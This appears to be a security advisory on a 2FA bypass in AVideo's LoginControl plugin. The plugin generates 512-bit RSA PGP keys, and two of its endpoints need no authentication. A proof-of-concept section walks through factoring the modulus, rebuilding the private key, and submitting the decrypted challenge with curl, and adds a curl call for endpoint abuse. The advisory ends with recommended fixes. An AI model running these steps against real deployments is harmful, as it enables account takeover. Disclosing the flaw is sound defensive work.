AVideo has a PGP 2FA Bypass via Cryptographically Broken 512-bit RSA Key Generation in LoginControl Plugin

Summary

The createKeys() function in the LoginControl plugin's PGP 2FA system generates 512-bit RSA keys, which have been publicly factorable since 1999. An attacker who obtains a target user's public key can factor the 512-bit RSA modulus on commodity hardware in hours, derive the complete private key, and decrypt any PGP 2FA challenge issued by the system — completely bypassing the second authentication factor. Additionally, the generateKeys.json.php and encryptMessage.json.php endpoints lack any authentication checks, exposing CPU-intensive key generation to anonymous users.

Details

The vulnerability originates in plugin/LoginControl/pgp/functions.php at line 26:

// plugin/LoginControl/pgp/functions.php:26
$privateKey = RSA::createKey(512);

This code was copied from the singpolyma/openpgp-php library's example/demo code, which was never intended for production use. The entire PGP 2FA flow relies on these weak keys:

1. Key generation: When a user enables PGP 2FA, the UI calls createKeys() which generates a 512-bit RSA keypair. The public key is saved to the database via savePublicKey.json.php.

2. Challenge creation (LoginControl.php:520-531): During login, a uniqid() token is generated, stored in the session, and encrypted with the user's stored public key:

// LoginControl.php:525-530
$_SESSION['user']['challenge']['text'] = uniqid();
$encMessage = self::encryptPGPMessage(User::getId(), $_SESSION['user']['challenge']['text']);

3. Challenge verification (LoginControl.php:533-539): The user must decrypt the challenge and submit the plaintext. Verification is a simple equality check:

// LoginControl.php:534
if ($response == $_SESSION['user']['challenge']['text']) {

Since 512-bit RSA was publicly factored in 1999 (RSA-155 challenge), an attacker who obtains the public key can factor the modulus using freely available tools (CADO-NFS, msieve, yafu) in a matter of hours on modern hardware, reconstruct the complete private key from the prime factors, and decrypt any challenge encrypted with that key.

Unauthenticated endpoints (compounding issue):

generateKeys.json.php does not include configuration.php and has no authentication check:

// plugin/LoginControl/pgp/generateKeys.json.php:1-2
<?php
require_once  '../../../plugin/LoginControl/pgp/functions.php';

Similarly, encryptMessage.json.php has no authentication. Both are accessible to anonymous users, enabling abuse of CPU-intensive RSA key generation for denial-of-service.

PoC

Step 1: Obtain the target user's 512-bit public key

The public key must be obtained through a side channel (e.g., the user sharing it per PGP conventions, another vulnerability leaking database contents, or admin access). The key is stored in the users_externalOptions table under the key PGPKey.

Step 2: Extract the RSA modulus from the public key

# Extract the modulus from the PGP public key
echo "$PUBLIC_KEY_ARMOR" | gpg --import 2>/dev/null
gpg --list-keys --with-key-data | grep '^pub'
# Or use Python:
python3 -c "
from Crypto.PublicKey import RSA
# Parse the PGP key and extract RSA modulus N
# N will be a ~155-digit number (512 bits)
print(f'N = {key.n}')
"

Step 3: Factor the 512-bit modulus

# Using CADO-NFS (typically completes in 2-8 hours on a modern desktop)
cado-nfs.py <modulus_decimal>
# Or using msieve:
msieve -v <modulus_decimal>
# Output: p = <factor1>, q = <factor2>

Step 4: Reconstruct the private key and decrypt the 2FA challenge

from Crypto.PublicKey import RSA
from Crypto.Util.number import inverse

# From factoring step
p = <factor1>
q = <factor2>
n = p * q
e = 65537
d = inverse(e, (p-1)*(q-1))

# Reconstruct private key
privkey = RSA.construct((n, e, d, p, q))

# Decrypt the PGP-encrypted challenge from the login page
# and submit the plaintext to verifyChallenge.json.php

Step 5: Submit decrypted challenge to bypass 2FA

curl -b "session_cookie" \
  "https://target/plugin/LoginControl/pgp/verifyChallenge.json.php" \
  -d "response=<decrypted_uniqid_value>"
# Expected: {"error":false,"msg":"","response":"<value>"}

Unauthenticated endpoint abuse:

# No authentication required — CPU-intensive 512-bit RSA keygen
curl "https://target/plugin/LoginControl/pgp/generateKeys.json.php?keyPassword=test&keyName=test&keyEmail=test@test.com"
# Returns: {"error":false,"public":"-----BEGIN PGP PUBLIC KEY BLOCK-----...","private":"-----BEGIN PGP PRIVATE KEY BLOCK-----..."}

Impact

• 2FA Bypass: Any user who enabled PGP 2FA using the built-in key generator has their second factor effectively nullified. An attacker with knowledge of the password (phishing, credential stuffing, breach reuse) can bypass the 2FA protection entirely.
• Account Takeover: Combined with any credential compromise, this enables full account takeover of 2FA-protected accounts.
• Denial of Service: The unauthenticated generateKeys.json.php endpoint allows anonymous users to trigger CPU-intensive RSA key generation operations with no rate limiting.
• Scope: All users who enabled PGP 2FA using the application's built-in key generator are affected. Users who imported their own externally-generated keys with adequate key sizes (2048+ bits) are not affected by the key weakness, but the unauthenticated endpoints affect all deployments with the LoginControl plugin.

Recommended Fix

1. Increase RSA key size to 2048 bits minimum (plugin/LoginControl/pgp/functions.php:26):

// Before:
$privateKey = RSA::createKey(512);

// After:
$privateKey = RSA::createKey(2048);

2. Add authentication to generateKeys.json.php (match the pattern used in decryptMessage.json.php):

<?php
require_once '../../../videos/configuration.php';
require_once '../../../plugin/LoginControl/pgp/functions.php';
header('Content-Type: application/json');

$obj = new stdClass();
$obj->error = true;

$plugin = AVideoPlugin::loadPluginIfEnabled('LoginControl');

if (!User::isLogged()) {
    $obj->msg = "Authentication required";
    die(json_encode($obj));
}
// ... rest of existing code

3. Add authentication to encryptMessage.json.php (same pattern):

<?php
require_once '../../../videos/configuration.php';
require_once '../../../plugin/LoginControl/pgp/functions.php';
// Add auth check before processing
if (!User::isLogged()) {
    $obj->msg = 'Authentication required';
    die(json_encode($obj));
}

4. Add minimum key size validation in savePublicKey.json.php to reject weak keys regardless of how they were generated:

// After line 26, before saving:
$keyData = OpenPGP_Message::parse(OpenPGP::unarmor($_REQUEST['publicKey'], 'PGP PUBLIC KEY BLOCK'));
if ($keyData && $keyData[0] instanceof OpenPGP_PublicKeyPacket) {
    $bitLength = strlen($keyData[0]->key['n']) * 8;
    if ($bitLength < 2048) {
        $obj->msg = "Key size too small. Minimum 2048 bits required.";
        die(json_encode($obj));
    }
}